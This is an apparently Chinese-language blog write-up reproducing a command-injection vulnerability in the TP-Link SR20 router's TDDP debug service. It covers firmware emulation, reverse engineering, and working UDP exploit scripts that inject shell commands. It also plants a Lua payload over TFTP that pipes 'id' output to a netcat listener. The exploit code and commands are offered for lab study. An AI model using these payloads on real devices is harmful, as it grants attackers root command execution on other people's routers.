TP-Link SR20命令执行漏洞复现

介绍

TDDP协议是TP-link设备的调试协议,该协议的版本分为两种,version1/2,version1版本无需身份验证和对数据包加密,而version2要,所以只需向SR20设备的UDP 1040端口发送特定数据就可以了

固件模拟问题

Download for SR20 | TP-Link 官网上下载 SR20(US)_V1_180518 ,binwalk一下,然后寻找一下tddp文件,qemu用户态启动,发现卡住了,我们gdb-multiarch连接上发现程序是卡在了select函数,然后IDA静态分析一下看看

1777470582026 1

IDA查找原因

我们发现程序是输出了一个tddp task start字符,然后查找一下,发现是调用在sub_936c函数上

1
2
3
$ sudo chroot ./ ./qemu-arm-static ./usr/bin/tddp        
[sudo] yy 的密码:
[tddp_taskEntry():151] tddp task start
1777469987262

sub_936c`:

v7 = select(nfds, &readfds, 0, 0, &timeout);:这个函数就是接收udp socket接口是否有数字到达,nfds是最大文件描述符,&readfds是指监视可读文件,第一个0是指不监视可写事件,第二个0是指不监视异常事件

所以((readfds.__fds_bits[v6[9] >> 5] >> (v6[9] & 0x1F)) & 1) != 0就是判断它是否在可读事件内,是的话就执行sub_16418(v6),所以问题就是要向udp 1040接口发送数据包

1777862591398

sub_16ACC(&v6)

这个函数就是初始化v6,也就是tddp初始化函数

1777862941135

sub_16E5C(v6 + 9)

这个是设置UDP套接字,,用于tddp协议的网络通信,第一个2指的是IPv4,第二个2指的是UDP数据类型,0是协议自动选择

setsockopt(v6[9], 1, 2, &optval, 4u)

这个就是这个结构setsockop(socket描述符,级别,选项,optval,optlen),2选项是重置socket,6选项是允许发送/接收数据包

sub_16D68(v6[9], 1040)

这个就是设置重置socket,并且与1040端口绑定,此时,我们看下 netstat -anu ,可以看到1040端口是开启的

setsockopt(v6[9], 1, 6, &v3, 4u)

这个就是将socket设置为接收/发送数据包

sub_16418(v6)

然后看下sub_16418(v6)函数

发现是调用recvfrom(a1[9], (char *)a1 + 45083, 0xAFC8u, 0, &addr, &addr_len);,函数原型是ssize_t recvfrom(int sockfd, void *buf, size_t len, int flags,struct sockaddr *src_addr, socklen_t *addrlen);,所以是将数据读入(char *)a1 + 45083

1777472003635

验证

我们从上面的分析可知,向udp 1040端口发送数据即可解决select函数问题

1
2
3
4
5
6
from socket import *
import sys
s_send = socket(2,2,0)
payload=b'aaaaaaaaaaaa'
s_send.sendto(payload, ("127.0.0.1",1040))
s_send.close()

成功了

1777471870690

漏洞分析

sub_16418(v6)

我们知道发送数据的首地址就是a1+45083,而后面将首地址指向的字节给到v2并且和1/2进行比较,那么我们可以猜测这个就是对应的版本号,我们前面直到1不用任何验证,所以要使其进入1,由上面的分析可知,&addr村的数据就是a1+45083指向的,所以会进入sub_15E74(a1, &n)

sub_15E74(a1, &n)

然后我们的目的是为了进去这个函数,*(_BYTE *)(a1 + 45084),说明输入的第一个字节是版本号,第二个字节是选项,根据漏洞报告可知我们要让其为0x31,会进入sub_A580(int a1)

sub_A580(a1)

我们前面的版本号是1,所以会将v19+12,而sscanf是将数据进行切割,前面的给s,后面的给v10,而漏洞报告说函数是发生在sub_91dc(s),所以我们要先填充12字节,然后将危险代码给到s去,这就是为什么下面的exp要加上10(版本号1字节,选项0x31也1字节,总共12字节)

sub_91DC("cd /tmp;tftp -gr %s %s &", s, v16)

vsprintf(s, a1, varg_r1);,这个函数就是将a1的内容拼接给s,而varg_r1指向a1后面的可变参数,s=cd /tmp;tftp -gr arg1 arg2,正常结构是tftp -gr remote_file 服务器IP,就是从ip上下载文件名,但是,这里我们可以提前用;或者||结束tftp行为

这里看到execve函数

1
2
3
4
5
6
7
// 实际的内存布局(栈上连续)
char *argv[4]; // 一个数组,4个指针

argv[0] = "sh"; // 对应原来的 "argv" 变量
argv[1] = "-c"; // 对应原来的 "v4" 变量
argv[2] = s; // 对应原来的 "v5" 变量
argv[3] = 0; // 对应原来的 "v6" 变量(NULL终止符)

但是用户态调试支持不了多线程,所以fork不了子进程,也就执行不了execve函数,所以用系统态验证

qemu系统态仿真

开启前设置

首先是下载必要镜像

1
2
3
wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress
wget https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress

物理机设置tap0接口

1
2
sudo tunctl -t tap0 -u $(whoami)
sudo ifconfig tap0 10.10.10.1/24

开启qemu系统

1
2
3
4
5
6
7
8
9
qemu-system-arm \
-M vexpress-a9 \
-kernel vmlinuz-3.2.0-4-vexpress \
-initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=./debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2 console=ttyAMA0" \
-net nic \
-net tap,ifname=tap0,script=no,downscript=no \
-nographic

设置地址,看看能不能互ping

1
2
ifconfig eth0 10.10.10.2/24
ping -c 3 10.10.10.1
1
2
3
$ tar -czvf rootfs.tar.gz ./squashfs-root/
$ python3 -m http.server 1314
qemu$ wget 10.10.10.1:1314/rootfs.tar.gz && tar -xvf rootfs.tar.gz

挂载必要部分,因为chroot不会自动挂载dev和proc

1
2
3
mount -o bind /dev ./squashfs-root/dev/
mount -t proc /proc/ ./squashfs-root/proc/
chroot squashfs-root sh

exp1

1
2
3
4
5
6
7
8
from socket import *
import sys
s_send = socket(AF_INET, SOCK_DGRAM, 0)
payload=b'\x01\x31'
payload+=b'a'*10
payload+=b'||pwd&&id&&ls /||;xxx'
s_send.sendto(payload, ("10.10.10.2",1040))
s_send.close()

成功了

1777476474736

exp2

正常下载完lua文件后,会将其下载到tmp文件夹中,然后执行,而v16指的是ipv4的ip,就是发送payload的机子的ip,所以将lua文件建立在本地就好了

开启tftp服务

因为 SR20 设备会连接发送该请求设备的 TFTP 服务下载相应的文件并使用 LUA 解释器以 root 权限来执行,所以我们需要搭建 TFTP服务。

执行,并将文本内容改为如下部分

1
2
sudo apt install atftpd -y
sudo vim /etc/default/atftpd
1
2
3
4
sudo mkdir /tftpboot
sudo chmod 777 /tftpboot
sudo systemctl start atftpd
sudo systemctl status atftpd

然后就可以发现成功了

这个命令是在本地执行id(root权限)然后将内容发给10.10.10.1 1314,所以本地要监听1314端口

1
2
3
4
5
sudo tee /tftpboot/demo.lua << 'EOF'
function config_test(config_name, client_ip)
os.execute("id | nc 10.10.10.1 1314")
end
EOF

可以看到内容成功写进去了

poc

1
2
3
4
5
6
7
8
from socket import *
import sys
s_send = socket(AF_INET, SOCK_DGRAM, 0)
payload=b'\x01\x31'
payload+=b'a'*10
payload+=b'demo.lua;xxx'
s_send.sendto(payload, ("10.10.10.2",1040))
s_send.close()

但是会发现无法成功,是因为tftp服务端口没能绑定在69端口

1
2
3
4
5
6
7
8
# 1. 停止占用端口的服务
sudo systemctl stop inetutils-inetd.service
# 2. 修改配置为独立模式
sudo sed -i 's/USE_INETD=true/USE_INETD=false/' /etc/default/atftpd
# 3. 重启服务
sudo systemctl restart atftpd
# 4. 验证服务正在监听
sudo netstat -ulnp | grep 69

参考

TP-Link SR20命令执行漏洞复现 | ZIKH26’s Blog

TP-Link SR20 RCE复现-先知社区